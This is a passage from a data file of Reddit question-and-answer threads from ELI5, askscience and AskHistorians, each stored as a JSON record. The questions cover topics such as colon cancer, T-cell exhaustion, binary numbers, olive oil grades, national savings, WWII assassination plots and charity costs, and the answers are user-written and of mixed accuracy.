the idea :D\n", "Answers so far are missing something.  Air at sea level will *never* sort by weight even if it\u2019s perfectly still and you wait forever.\n\nEven in still air, the gas molecules are always moving at high speed and colliding with each other, randomizing their motion and energy every few nanoseconds. They never settle down.\n\nThe only way atoms can sort by weight is if they go far enough between collisions that their change in gravitational potential energy is similar to their kinetic energy \u2014 that is, between collisions they change their height by enough to affect their speed.\n\nThis happens above about 100 km altitude in Earth\u2019s atmosphere but not below."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "cnb87z", "title": "Why is cancer in the colon so much more likely than in the small intestine?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/cnb87z/why_is_cancer_in_the_colon_so_much_more_likely/", "answers": {"a_id": ["ew96xxe", "ew99wky", "ewce3ez"], "score": [45, 4, 2], "text": ["Part of your question is that you're assuming the naming of these two organs means they're more closely related and should, because of that, have a similar rate of cancer, but that's an incorrect assumption. We could have named the stomach the \"balloon intestine\" and it wouldn't be any more related because of the name. Small and large intestine are very different organs.\n\nThat said, the small intestine has a relatively high speed of liquid food passing through it and is absorbing nutrients from it. Nothing sticks around in it  for long, and there doesn't need to be rapid cell turnover like the large intestine because there's no abrasion or other mechanical reasons. Large intestine, on the other hand, can have stool sit in it for days not moving, and because it dehydrates the stool there's a lot more mechanical damage and higher cell turnover as well as more inflammation, both of which can promote cancer. There are also lots of different bacteria, and although I haven't heard of specific microbiomes causing increased risk of cancer, I wouldn't be surprised if we figure that out in the next decade. If  there are any toxins in what you eat, the large intestine experiences them much more so (think red and smoked/cured meat).", "The type of cancer that is most often found in the colon has an element of triggering that has some co-relation to bacteria. There are bad bacteria and friendly bacteria (gut biome). This is still being studied and there is no conclusive answer.\n\nAdding fiber to your diet makes human manure pass through faster, and it is speculated that a slower speed of transit allows more time for a bacterial mutation that may trigger some type of cancer.", "Human digestive tract length is much longer than carnivores relatively speaking. Carnivore\u2019s have one 3-6x the body length, herbivores have 10-12x their body length. Humans have digestive tracts about 10x and the waste from the carcinogenic substance (meat in this case) sits in the colon.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5407540/"]]}
{"q_id": "fdk6l3", "title": "t-cell exhaustion", "selftext": "With the recent reports of COVID-19 causing T-cell exhaustion, and the comparison to AIDS causing T-cell exhaustion can someone explain what this is and what long term affects it will have on a person/population?\n\nEDIT: [LINK](_URL_0_) talking about t-cell exhaustion and covid-19", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fdk6l3/eli5tcell_exhaustion/", "answers": {"a_id": ["fji3flf", "fji408w", "fjid654", "fjijbwk", "fjilz70", "fjimuft", "fjk9gvg", "fjkb46b"], "score": [8, 122, 18, 2, 3, 4, 3, 2], "text": ["The immune system can get tired too. At a certain point, the immune system just gives up and doesn't fight the infection anymore. This is seen in other disease states like cancer and sepsis.", "Tbh the ELI5 answer to this is that it's basically what its name suggests: it's where your T-cells become exhausted and cease to work.\n\nI suppose the first thing to address though is what a T-cell is, and the answer is that it's a type of white blood cell thats role lies in dealing with mutant cells - i.e. cancer cells and those infected with viruses. \n\nIn terms of what causes T-cell exhaustion, it's a complex and not fully understood phenomenon but essentially if a viral infection is chronic and persistent enough then the T-cell's receptors are constantly being bombarded both by viral antigens (i.e. parts of the virus to which the T-cell is programmed to respond to) *and* by cytokines (hormones your body produces to direct an immune response). In the end it cannot respond any more to the \"on\" signals, and at the same time the physical state of the body is likely to be weak (low oxygen levels, poor nutrition, deranged acid levels etc.) which further impairs T-cell function. A combination of the two can start to lead to T-cell death or dysfunction where they either stop working altogether or start responding to the wrong things, so in response the body produces \"off\" signals to limit T-cell activity to prevent an auto-immune reaction. The T-cells cannot respond any more to the positive signal but do respond to the negative one, which in combination with already impaired function serves to further dampen their activity.\n\nThis combination is known as T-cell exhaustion and leads to impaired immune function, cell death due to overstimulation, poor control of the infection/tumour and progressive loss of other T-cell functions.", "Can someone ELI5 OP's question?", "Do they give Neupogen shots for T-cell exhaustion?", "What would this mean to someone who has T-cell leukemia?", "Can you share any source on the relationship between t-cell exhaustion and coronavirus?  I googled and nothing came up...", "Your immune system is like an army defending a country (your body) from invaders (germs). T cells are like the soldiers in the army. Normally, the soldiers are able to fight the invaders, and if at some point there is a big invasion, the country can increase the defense budget (use more energy) and build up the army (make more T cells) to fight off the invaders. \n\nGetting HIV is kind of like if the invaders used repeated bombing campaigns to kill all the soldiers on the front lines and in the barracks. So now there are no more soldiers to fight invaders, and since the barracks are destroyed forever, the country can\u2019t build up a new army. That means that the country is susceptible to attack from new invaders that weren\u2019t much of a threat before the bombing campaigns. \n\nHowever, with coronavirus it\u2019s more like if there was just a much bigger conventional invasion than usual. So a lot of the soldiers die (T cell depletion), the budget gets mostly used up, and the soldiers that didn\u2019t die are really tired and demoralized (T cell exhaustion). So while that bigger war is going on, the country is more susceptible to attack from even more invaders. But after the country wins the war with help from its allies (medical treatment), it can normalize it\u2019s budget and build back up its army again over time.", "T cells are the foot soldiers of the immune system. The more they will fight, the more they get tired: their weapons break so they can't kill any longer. Their sat nav fails as well, so they don't go to other places to fight any longer. Also, the longer the fight drags on, the harder it is for the body to recruit more soldiers and hence their numbers will dwindle (well, actually the soldiers can't clone themselves any longer, but the effect is the same). \n   \n\nNB: There actually is a scientific review called \"CD8 T cells: foot soldiers of the immune system\" (Zhang  &  Bevan, 2011) which uses exactly that analogy."]}, "title_urls": [], "selftext_urls": ["https://www.medrxiv.org/content/10.1101/2020.02.18.20024364v1"], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "tw8w0", "title": "How come when I'm depressed all I want to do is eat and sleep?", "selftext": "And any good ways to avoid/get out of it? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tw8w0/how_come_when_im_depressed_all_i_want_to_do_is/", "answers": {"a_id": ["c4q99e5"], "score": [2], "text": ["Unfortunately, I believe this is asking for medical advice, which is against the rules here.   I'd suggest you see a doctor, psychologist, or the like."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "avzjo9", "title": "when people say that everything is just ones and zeros, what do they actually mean?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/avzjo9/eli5_when_people_say_that_everything_is_just_ones/", "answers": {"a_id": ["ehiy9ti", "ehj2b9z", "ehj4x66", "ehj5xrc"], "score": [11, 5, 3, 3], "text": ["They are referring to binary, which is computer talk and everything is literally made up of 1's and 0's.", "Binary number systems, or base two. \nBase Ten= Base Two equivalent\n\n0=0\n\n1=1\n\n2=10\n\n3=11\n\n4=100\n\n5=101\n\n6=110\n\n7=111\n\n8=1000\n\n9=1001\n\n10=1010\n\n11=1011\n\n12=1100\n\n13=1101\n\n14=1110\n\n15=1111\n\n16=10000\n\nInstead of adding another digit every power of ten(1, 10, 100, 1000, ect.) you add a digit every power of two (1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1204, ect.) \n\nThe reason that computers work this way is transistors, the fundamental unit of a computer, unless you're using vacuum tubes, and nobody uses vacuum tubes. A transistor is made of a semiconducting material, and has three layers, emitter, base, and collector. The emitter and collector layers have more free electrons than the base layer. Because the base layer doesn't have free electrons, it is more insulating than the emitter and collector layers. The transistor looks like this. \n\nE- >  B - >  C. The current flows in the direction of the arrows. \n\nUnder normal circumstances, the B layer blocks electrons from flowing through the transistor. This transistor is off, or 0. \n\nHowever, this can be changed. If you apply a small positive voltage to the base, it gains free electrons, and allows the current to pass through. This turns the transistor on, or 1. \n\nIn computer programming, the programmer doesn't work directly with zeros and ones. They code in a programming language, and then a special program called a compiler takes their programming and turns it into zeros and ones. Often, there are many compilers and many languages between the program that the programmer writes and the zeros and ones. \n\nIf you want an analogy, the zeros and ones are the atoms of the program, and the programmer is like an architect. They draw a blueprint, and then the computer takes the blueprint, and plans how to build the house, then plans how to build all the components of the house, then plans how to construct the molecules that make up all the components of the house, then places all the atoms in the right configuration to make the house.\n\nEvery part of the program is made up of zeros and ones, but placing them one by one is the machine's job, and it's very rare that someone makes a new base-level compiler. ", "They're referring to how everything in a computer is stored in binary, but what they PROBABLY mean is that none of it really exists.\n\n & #x200B;\n\nFor instance, the money in your bank account. There's not actual bill just sitting in a vaults (specifically for your account) and it doesn't get shipped to wherever you bought something. There's just a number and when you buy something, it gets subtracted from that number and added to another person's number. So they're saying you're not actually losing or gaining anything, it's just a number going up and down. If you could get past all the security, you could totally just add a bunch of zeros after your number and suddenly you're rich.\n\n & #x200B;\n\nSame thing for digital games and skins for games like Overwatch and Fortnite. Once the skin is designed, or the game is made, it doesn't have to be made again. It doesn't cost more to make 20 copies than it does to make one. It kind of doesn't physically exist, so you can't run out\n\n & #x200B;\n\nso \"It's all just ones and zeros\" means that there's no scarcity. Whatever they're talking about isn't PHYSICAL so you can't run out of it.", "Ones and zeros are used to label information.  With enough ones and zeros, you can label nearly anything (you can label anything in a finite set of possible things).\n\nSo it's not that the things themselves are ones and zeros, but we can \\*represent\\* those things by referring to their labels made of ones and zeros.  (Of course, this requires a labeling convention, but that it's \\*possible\\* is enough for people to make the claim that \"everything is ones and zeros\".)\n\nRichard Feynman lays this out most insightfully here: [_URL_0_](_URL_0_)\n\nHe describes a \"human\" analogue of a computer in this lecture, and around 15 minutes in describes what's up with the ones and the zeros.  (It would be very difficult to understand what he's saying 15 minutes in if you didn't watch from the start, though.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.youtube.com/watch?v=EKWGGDXe5MA"]]}
{"q_id": "2wsq8v", "title": "Why were there so much British volunteers for WOI?", "selftext": "In stead of, say French soldiers, I do not believe they had much to win and neither propaganda was the only incentive.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2wsq8v/why_were_there_so_much_british_volunteers_for_woi/", "answers": {"a_id": ["cotqzo5"], "score": [2], "text": ["hi! could you clarify: do you mean World War I?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "amphh2", "title": "why does the virginity of oil matter?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/amphh2/eli5_why_does_the_virginity_of_oil_matter/", "answers": {"a_id": ["efnmc5s", "efnqzd4", "efp9z18"], "score": [17, 7, 4], "text": ["The amount of benefits that first pressings give are much higher than subsequent pressings as far as nutrients, and anti-oxidants goes. Only so many to go around and the first press gets the majority of them. ", "Virgin oils are extracted via cold press. The by-product is used to extract non-virgin oils. Non-virgin oils are extracted using chemical solvents like Hexane.\n\nAll the essential goodness of oil is already extracted via the first press, leaving \"oil in name only\" for non-virgin oil.", "The term \"vergine\" in Italian has a variety of connotations, it can mean \"fresh,\" \"blank,\" \"raw,\" or \"unrefined,\" as in \"virgin canvas.\"\n\nIn a general sense, a virgin olive oil is that which has not been refined with heat, solvents, or chemical treatment processes, and has only been separated by mechanical means such as pressing or high speed centrifugation. \n\nThe specific rules regarding \"extra virgin oil\" vary somewhat based on country. In general it is oil that has been produced by the traditional means of grinding, settling, and then mechanical pressing, at a temperature under 27 degrees. It is the oil that is produced by the first pressing or separation step. (Subsequent pressing/separation steps are defined to produce virgin oil.) Furthermore it has passed standards for free acidity, flavor, and bitterness. This is in line with the standards of the International Olive Council.(Which the USA is not a member. More on this later.)\n\nIn some countries centrifugal separation is allowed, vs the most traditional means of pressing between fiber mats.  \n\n\"Virgin\" oil is subject to less stringent chemistry and flavor standards, but has not been separated using heat, or chemical extraction. In general producers will still perform their own checks for bitterness, acidity and flavor.\n\nIn EVOO, care needs to be taken to use olives that are sufficiently ripe, unripe olives produce oil that is bitter and yield less oil content, while overripe olives begin to ferment and oxidize, this produces high acidity and rancid, musty flavors. The acidity highly reduces shelf life as well.  \n\nThe mechanical extraction process results in a paste called Pomace, which still contains about 3-6% oil which cannot be removed by further mechanical means. This may be sent to other companies for solvent extraction. This additional oil is referred to by a number of terms, but is considered inferior because of lack of flavor. It's often used for soap. It is also used for frying some times because it has a higher smoke point than virgin oils. The pomace is also often added to animal feed.\n\nIn the USA, Extra virgin olive oil is defined by flavor and certain chemistry requirements, (which are rather esoteric compared to IOC standards), while the production method is not considered. It is possible to blend oils produced under any circumstances so long as flavor and chemistry requirements are met."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "sbhsb", "title": "Why does applesauce cause constipation while apple juice causes diarrhea?", "selftext": "If the two come from the same fruit; why do they have opposite effects on the human body?\n\nedit: this is not something that happens to me, it is just something that I have always heard and have been told it was true as I was growing up. And a quick google search told me that I am not the only one that has heard of these effects.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/sbhsb/why_does_applesauce_cause_constipation_while/", "answers": {"a_id": ["c4cplmi"], "score": [2], "text": ["I would ask your doctor that question as I've never heard of nor experienced such a thing. Perhaps you're body doesn't react well to apples? an allergy?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1dux56", "title": "What does it mean to be immune to a disease, and how do \"carriers\" work?", "selftext": "From what I understand (I might even be completely wrong?) there is bound to be at least one person on this earth immune to disease X, they could carry it and spread it - but not be affected and killed by it. How does this work? Does their immune system not care about the disease or just isolate it in the body? What happens?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1dux56/what_does_it_mean_to_be_immune_to_a_disease_and/", "answers": {"a_id": ["c9u43k6", "c9u4h41"], "score": [3, 11], "text": ["I realize you're talking about infectious diseases, but there is at least one other type of carrier.  My wife, for example, is a carrier of Duchenne Muscular Dystrophy.   Because she's female, her other X chromosome tends to pick up the slack, which is why women generally have no, or very mild symptoms.  \n\nHowever, a male child has 50/50 chance of getting the damage X-Chromosome from her.  Since males only have one X, they can't produce dystrophin, which results in the condition.  If she were to have a female child, she'd have a 50/50 chance of getting the bad X as well, and the daughter would then also be a carrier.", "There are different kinds of immunity.  If the infectious disease cannot grow in the host or has been completely wiped out, then they can't be a carrier.  This can happen several ways, for example:\n\n1.  The disease has been completely obliterated by the concerted effort of your immune system or through drugs.  For example, if you clear a yeast infection completely, you can't give it to someone else afterwards because there's simply no yeast left.\n\n2.  Certain people are naturally immune to certain types of disease because of there genetics.  For example, some people are immune to HIV because they don't have a receptor that HIV attaches to.  If the virus can't enter the cells, it can't infect and be passed on.\n\nHowever, there are other disease that the host can contain (maybe for a little while anyway) and render asymptomatic but cannot completely clear, even with the help of drugs.  These include herpes, HIV.  The disease has mechanisms to avoid or suppress the immune system enough that there aren't any symptoms, but the disease can still be transmitted.  Every disease has it's own way of doing though.  Typhoid fever, for example, can be asymptomatic in a host, but still be tranmissible because in certain people the bacteria can \"hide\" from the host immune defense."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5vxlez", "title": "if everyone saved their income at rates they 'should' (10-20% minimum) would it cause an economic depression?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5vxlez/eli5_if_everyone_saved_their_income_at_rates_they/", "answers": {"a_id": ["de5nsh6", "de5obmw", "de5p21f", "de5q14k", "de5ql63", "de5rfe7", "de5rrm0", "de5s4z8", "de5sliw"], "score": [379, 17, 5, 2, 2, 2, 27, 2, 4], "text": ["Nah, I don't think it would be enough to cause an economic depression.  To quote from a Mr. Money Mustache (Early retirement blogger) article:\n\n\"Newspaper reporters often repeat the phrase that consumers are the engine of economic growth in the United States. They say it so often that most people believe it, as witnessed by the quotes above. But when you read books written by economists (who in general know more about economics than newspaper reporters), they tell you that consumers are not the engine of economic growth. They are actually the caboose.\n\nWhat is the engine of growth, then? It is the savers and investors. Only by sacrificing current consumption, can people put money into banks or share offerings, which end up in the hands of new and existing businesses who can then use that money to create new technology, factories, or human capital, allowing them to increase their productivity. Capital creates productivity, and productivity is the driver of our standard of living.\"\n\nHe has a lot more detail in the article, but that's the jist of it.\n\n[Whole article](_URL_0_)", "You put savings for emergencies and retirements under the same category but they have massively different impact on the economy. When you save money for emergencies you put the money away in a safe savings account where they can be quickly retrieved when needed. This means that the wealth you have created will not be contributing to the economy very much as the bank need to keep the money on hand and not take any risks with them. But it is only recommended that you save about 2-6 months worth of expenses for emergencies which in the grand scheme of things is not that much.\n\nRetirement on the other hand is quite different kind of savings. When you put money in a retirement fund you tell the bank to try to make them grow as much as possible as you do not need any of it until decades later. So the bank will make money the best way they can by investing the money. And since you do not need the money for a long time they can do pretty risky investments at that. This will give the economy a boost.", "Not inherently no.  See, if they're \"saving\" it, they're really just giving it to someone else to lump together and invest elsewhere.  \n\nIf the guy you give your money to spends it by cutting loans to others, it is still circulating around the economy.  \n\nIt's also important to note that actually saving tin-can style, and not spending any excess money both personally and professionally doesn't depress the economy, it just slows it.  If you want to hurt an economy, cut the amount of cash flowing into the borders of it.  ", "Even if you are saving your income here the money is still being spent. Someone else would be borrowing it from the bank in the form of loans or credit cards. ", "It depends. If everyone, tomorrow, suddenly saves a lot more? Maybe, in the short term. Economic activity is how much is produced, and if everyone buys less, producers produce less, and we get a recession. However, higher savings also increases potential GDP in the longer run. How long it takes for those two factors to cancel each other, and we see a higher GDP than we would if we continued as today.\n\nIf everyone gradually saves more, present day growth will probably still decrease, but I'm not sure if it actually turn negative. And, in the longer run, you still see higher GDP.", "If everyone were burying money in little caches out in the woods, yeah. If they were investing it or at least putting it in the bank, not necessarily because then the money would still end up moving around the economy when your bank loaned it out to someone or the sellers of the stocks your mutual fund bought turned around and bought cocaine wirh the money, or whatever the case my be. It would definitely have an effect on the economy because the money would end up being used differently if it ended up in the hands of banks vs retail companies, but I have no idea whether it would be good or bad on balance. ", "A lot of confusion in this thread - and not just here, you see it in a lot of \"economic\" journalism - between the drivers of short-term economic fluctuations (booms, busts, recessions) and the drivers of long-term growth. \n\nThe economy has a certain level of potential output: that is what would be produced if all workers were fully employed (except those who are temporarily out of a job because they're looking for work), all  factories produced at full capacity, all service businesses provided as much service as they can etc. This grows (we think) more or less steadily over time as workers enter the workforce, factories are constructed etc. \n\nSometimes the economy is below potential (as signified, for example, by a high rate of unemployment). Sometimes, more rarely, it's above (this can cause inflation). \n\nIf people suddenly stop spending as much, and save more, this will reduce GDP, because whatever they would have spent it on won't get made or sold. If spending falls enough, we might have a recession. But it shouldn't affect potential output. Eventually the economy should adjust (e.g. from a fall in prices) and we'll get back to potential, even at the higher level of savings.\n\nAnd more savings should, eventually, lead to higher growth, because there will be more resources available for investment - new factories, new software, etc - which will support a higher level of potential output. \n\nSo the answer to your question is, yes, in the short term, there would be a recession, but if the overall level of savings increases this should support faster growth in the long term. \n\nOf course this is a very simple model (it's the starting point for most economists, not the end point). In an open economy, you'd have to think about the impact on the exchange rate, capital flows, global demand. And a prolonged recession can hurt potential output as people lose skills, and the capital stock deteriorates. But distinguishing short-term fluctuations from long-term potential is a good way to start thinking about it. ", "See my reply to gnonthgol for some info.\n\nConsumer spending undoubtedly drives our economy the way it is today. That's why after 9/11 President Bush came out and told everyone to shop more (not sure on date of this clip, sorry) _URL_0_ Short answer would be that if all that saving was taken directly out of would be consumer spending, then yes that definitely could depress an economy would ease. However, it all depends. If that was a gradual transition over many years, then the companies and whoever else could respond accordingly, cut back their spending and production to respond to decreased sales.\n\nDepending on how the majority saved, it could help or hurt too. If you saved in a saving account, then that money could still be used by others through the bank. If it's into a pension or retirement fund (not individual, but company/organization wide) then the holding company of your retirement account can still do plenty with your and everyone's else's money through investing. If you're saving through hard assets (gold, houses, cars, fine art) then that's spending and helps the economy. \n\nBest way to hurt would for everyone to take all their money out in cash, or at least try to. That would be devastating.", "there's a difference between \"saving money\" and \"putting it under the pillow\". if you put your money under the pillow, you withdraw it from the economic circle. the money lies around and isn't invested in anything. \n\nbut if you're saving it in the normal way (i.e. put it in your bank account), it doesn't leave the circle, because the bank now has more deposits that it can use to create new loans that enter the economy.\n\n >  wouldn't we see a decline in consumer spending\n\nconsidering that the u.s. have been consuming more than they produce since the '70s, that wouldn't be a bad thing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.mrmoneymustache.com/2012/04/09/what-if-everyone-became-frugal/"], [], [], [], [], [], [], ["https://youtu.be/fxk9PW83VCY"], []]}
{"q_id": "1vbe70", "title": "Did the Nazis ever consider assassinating the allies' leaders?", "selftext": "Did Hitler ever discuss the possibility of having Stalin, Churchill, FDR etc assassinated? Seems like it would have been unwise to not at least explore the possibility.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1vbe70/did_the_nazis_ever_consider_assassinating_the/", "answers": {"a_id": ["ceqpo83", "cer0zpd"], "score": [26, 7], "text": ["Per [Pavel Sudoplatov](_URL_5_), there was a plan to assassinate all leaders of Allies you've named at the [Teheran Conference](_URL_6_), in Oct-Nov 1943. \n\nIt was called [*Unternehmen Weitsprung*](_URL_0_) ~ \"attempt at long jump\". \n\nMost of western intelligence officers had dismissed NKVD warnings as baseless. Some arguments against are rather weak - e.g. \"german undeground in Teheran\" was \"destroyed\" at the beginning of 1943. How could this claim be verified with 100% certainty and why additional cells can't be sprung up from June till October is not clear to me. Note that pro-german faction was quite strong in Iran during WW2. \n\n[Otto Scorceny](_URL_7_) did not confirm existence of this plot, although he mentioned in memoirs that possibility of Churchill's assassination was discussed with Hitler and [Walter Shellenberg](_URL_2_). He might have had a motivation to hide existence of such plan, as well as Sudoplatov might be motivated to insist that the plot was real. \n\n**Sources**\n\n1. [RIA Novosti - brief re-cap of plot and events around \"Long Jump\", interview with Vartanyan](_URL_4_) Claim is that german operatives discovered they've being watched by NKVD and send abort code via radio. Vartanyan was NKVD operative in Teheran (he was 19 at a time)\n\n2. [Pavel  &  Anatoly Sudoplatov - Special Tasks: The Memoirs of an Unwanted Witness - A Soviet Spymaster](_URL_1_) Pavel Sudoplatov's memoirs. AFAIK, all his claims were verified so far. But this one might be an exception.\n\n3. [Tegeran'43 (*Assassination Attempt* in US)- USSR/France co-production movie, 1981](_URL_3_) Starred Alain Delon and Claude Jade.", "Two Soviets, named Politov and Liya Shilova, were recruited by the SD (Sicherheitsdienst) to assassinate Stalin at a conference in Moscow in September 1944. Politov was a former manager of a petroleum plant and embezzler in Kazachstan before being drafted into the Red Army in November 1941 and deserting in a May 1942. After recruitment he was trained as part of Operation Zepplin, a German sabotage and asymmetric warfare program, in motorcycle driving, explosives, and a cover story as a Smersh (Soviet counterintelligence) agent of the 39th Army that had been wounded and was returning to Moscow on business. He and Shilova were to be dropped behind Soviet lines and using their cover story were to make their way to the city and carry out their mission. \n\nAs with most Germsn agent operations the Soviets were easily able to detect and crush the operation. First, Soviet agents had infiltrated the training school in Pskov and were able to kidnap its director and steal documents, revealing some information. Second, in Riga a tailor that worked for Soviet intelligence notified them when Politov requested an unusual custom made coat. Third, a German agent team that landed near Smokensk was immediately captured and surrendered all of their documents, code books, and knowledge of future operations, including Politov's. The Soviets used the captured agents and their radios to engage on a radio game to \"help\" the Germans choose a landing site for the operation. The plan was to capture the German agents once they landed at the prepared site, turn them, or if necessary execute them. \n\nHowever, the aircraft carrying Politov was hit by Soviet AAA fire and crashed 150 kilometers from the landing site. Politov and Shilova survived and attempted to continue with their mission, while the remaining men on the aircraft were killed or captured when Soviet troops arrived. Later that day the pair were stopped by a Soviet security post. The guards noticed that Politov's medal was on the wrong side of his jacket (Soviet security was very well trained in attention to anything even slightly out of place), and began questioning him about where he had come from. When he named a city well to the west the guards became more suspicious, as he and Shilova didn't look tired and had no mud on their jackets despite it having rained the previous day. The two were subsequently arrested and after interrogation used in a radio playback game for several months. \n\nSource: \n\n*Stalin's Secret War* by Robert Stephan "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Operation_Long_Jump", "http://www.amazon.com/Special-Tasks-Memoirs-Unwanted-Spymaster/dp/0316773522/ref=la_B001IZR75C_1_1?s=books&amp;ie=UTF8&amp;qid=1389840007&amp;sr=1-1", "http://en.wikipedia.org/wiki/Walter_Schellenberg", "http://www.imdb.com/title/tt0081609/", "http://en.ria.ru/analysis/20071016/84122320.html", "http://en.wikipedia.org/wiki/Pavel_Sudoplatov", "http://history.state.gov/milestones/1937-1945/tehran-conf", "http://en.wikipedia.org/wiki/Otto_Skorzeny"], []]}
{"q_id": "2fdap7", "title": "what is agency theory?", "selftext": "I have to write an essay on it and don't understand much from the information i've looked at.\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fdap7/eli5_what_is_agency_theory/", "answers": {"a_id": ["ck8583x"], "score": [9], "text": ["I can't give you enough for an essay, but maybe this will help you understand other sources.\n\nAgency theory is a simple abstract model of how bosses and workers interact. Like lots of models, it doesn't reflect all of the subtleties of the real world, but it's sometimes a useful starting point for those discussions.\n\nThe basic idea is that a boss (the principle) hires a worker (the agent) to do something. But the worker might have different goals than the boss (e.g. make money, do less work, find a better job), or might be better able to make decisions (e.g. knows how to use a took, understands different markets), so there is some question as to how much the boss should trust the worker, and how to motivate the worker to have the same goals as the boss.\n\nI'm not actually sure if it's a foundation of agency theory, but almost every time I see it, the assumption is that the boss-worker relationship is always adversarial and neither side cares about the well-being of the other.\n\nThere are several approaches:\n\n* Micromanaging workers. Generally a bad idea since the reason they were hired was to save the boss time. This can also alienate workers resulting in a more adversarial relationship.\n* Auditing results. This is frequently done with bookkeeping and things that involve money.\n* Performance bonuses. This is frequently used in sales, but it can also lead to poor outcomes (e.g. if bonuses are only paid for new customers, then existing ones may be ignored), it also assumes that work can be quantified and measured correctly (e.g. some people use lines of code to pay programmers, which is a bit like paying aircraft designers by the weight of the plane -- to paraphrase Bill Gates).\n* Pay people well enough that they don't have to worry, communicate your goals, and trust them to be honest. This goes against the basic agency theory model but it's closer to what works in a high-tech workplace.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2l0nfp", "title": "how less than $1 a day can \"save a child's life\".", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2l0nfp/eli5_how_less_than_1_a_day_can_save_a_childs_life/", "answers": {"a_id": ["clqcbg6", "clqcks2", "clqf0hc", "clqf7yf", "clqffap", "clqfj6k", "clqg8z9", "clqiwqz", "clqjtq1", "clqoarl", "clqu6wr"], "score": [24, 92, 12, 9, 8, 16, 2, 6, 5, 2, 2], "text": ["Because of the poverty of third world countries, things like food are much cheaper there than they are in first world countries. From a western point of view, it's extremely inexpensive to provide a child in a third world country with food to eat.", "Cup of milk, cup of oatmeal, cup of water approx .75 cents total. Caloric and nutrient intake needed to stave off hunger", "Purchasing power parity. One dollar might be able to buy 10 local currency, which can provide a substantial amount to supplement their needs.", "Where i live a lot of people support a family on $2 to $3 per day, for a single child $1 could provide enough to survive.", "$30 a month is more than enough to provide the most basic human needs. Soap and water (diarrhea caused by unsanitary conditions is one of the leading causes of preventable death in children worldwide) plus basic food like rice, milk, sugar (most likely something like plumpinut _URL_0_) etc. \nAnd of course charities like red cross buy medical supplies like antibiotics and antimalarials in bulk for a few pence per dose.", "You aren't the only one contributing.  The money is pooled.\n\nAnd considering how much a lot of those charities skim off the top, I'd be surprised if half of that dollar is making it there.", "This figure is probably inaccurate. To calculate the cost (by some means) of saving a child's life, one must basically determine how much it takes to literally make the difference between life and death for a child.\n\nIf - for example - you give each child a $2 vaccine which could save their lives if they had a life-threatening case of some disease, the cost of saving a child's life is $2/(the probability of a recipient having a life-threatening case of the disease only curable by the drug).\nIf this figure was 1/1000, the cost of saving a child's life with a $2 vaccine would be $2,000.\n\nOrganisations like [GiveWell](_URL_1_) and [Giving What We Can](_URL_0_) try and determine the charities for which you can save lives for the least money possible. Worth checking out their research. I think the cheapest way of saving a life which has been researched is somewhere in the region of t $1500-$2500", "If you are concerned with certain charities not giving every cent to whatever cause it's supporting - check them out [here.](_URL_0_)\n\nThere will never be a charity that every cent collected is used for programs because no one wants to work for free - hence why people are paid to fund-raise, and people are paid to manage those employees - to train, to complete pay-roll, and so on. CEOs of those non-profits may make a six figure salary, but they will undoubtedly have a work load that is relative to that remuneration. And nothing in comparison to CEOs of actual profitable companies.\n\nThat site lists the administrative and fundraising costs in relation to the total amount of money listed. This puts some perspective on where your money goes and how it helps.\n", "Extreme poverty is defined as living on less than US$1.25/day. So if all of a sudden a child who was previously living on $1/day now lives on $2/day, that represents literally a doubling of their standard of living. $1 a day can actually go a long way for people living in a poor country with a low cost of living. If before they were starving, now they have enough food to grow up strong and smart; because childhood malnutrition significantly affects health and mental sharpness. Growing up hungry can literally make people have an IQ 20 points lower than they would have if they'd been properly fed as a child. That $1 can also go toward life-saving vaccines, clean water, mosquito nets to prevent malaria, and much more. ", "Though majority of the \"wealthy\" have the idea, that numbers on a bank's datasheet magically turn into solutions, there is little rationality behind the thought. If the charity organizations actually solved problems instead of claiming to help covering some symptoms, there wouldn't be 22 000 new children dead every day from preventable causes.\n\nHunger is a big issue, but mostly it's due the social system we are accustomed of; we take more food from hunger areas, than give as an aid or sell for profit. Buying coffee, bananas, clothes etc. is a way to keep the enslaved pushed down. Without the typical slave workers in \"developing\" areas us debt slaves would have much lower living standards.\n\nThe biggest problem is the blind faith of this miraculous money, which is created out of thin air. Without understanding the actual functions of the physical world it's easy to be fooled to have a false feeling of helping the less better off. \n\nIt's easy to leave the struggling people in their place by donating to a charity, since the organization would be obsolete if it fixed the problems. The last thing they want is to end the enforced slavery.\n", "It's simply a marketing trick.  The number \"$1\" was chosen to sound trivial, the connection with a specific child is an illusion designed to make you feel more connected to your contributions.  There isn't actually any direct connection between your \"$1\" and that child's welfare.\n\nLikewise, such charities 